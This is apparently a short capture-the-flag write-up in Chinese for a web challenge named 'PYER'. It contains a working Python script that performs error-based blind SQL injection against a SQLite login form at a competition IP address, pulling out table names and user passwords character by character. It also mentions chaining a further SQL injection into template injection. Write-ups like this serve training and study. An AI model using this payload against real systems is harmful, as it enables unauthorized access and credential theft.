[Web] PYER

通过if来判断不是mysql ,ifnull看出是sqlite

sql错误会500, 报错盲注

  1. import sys
  2. import requests
  3. url='http://124.70.199.12:31534/login'
  4. sql="select name from sqlite_master where type='table' and name!='comment' and name!='users'"
  5. sql="select sql from sqlite_master where name='users' "
  6. sql="select username from users"
  7. sql="select password from users"
  8. #sqlite_not_safe
  9. #sql="select sql from sqlite_master where name='comment' "
  10. #sql="select group_concat(password) from users "
  11. payload="a' or abs(ifnull(nullif(1, unicode(substr(( {}),{},1))={}),0x8000000000000000)) or '0"
  12. h=''
  13. for i in range(1,10000):
  14. for j in range(30,129):
  15. t=payload.format(sql,str(i),str(j))
  16. print(t)
  17. r=requests.post(url,data={
  18. 'username':t,
  19. 'password':'a',
  20. })
  21. if r.status_code==500:
  22. h+=chr(j)
  23. print(h)
  24. break

密码sqlite_not_safe 登录

然后又一个sql注入, {{}}有SSTI,直接union select SSTI就行

打赏还是打残,这是个问题
[Pwn] pwn1 - cpt.shao
[Reverse] PE - Cew
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论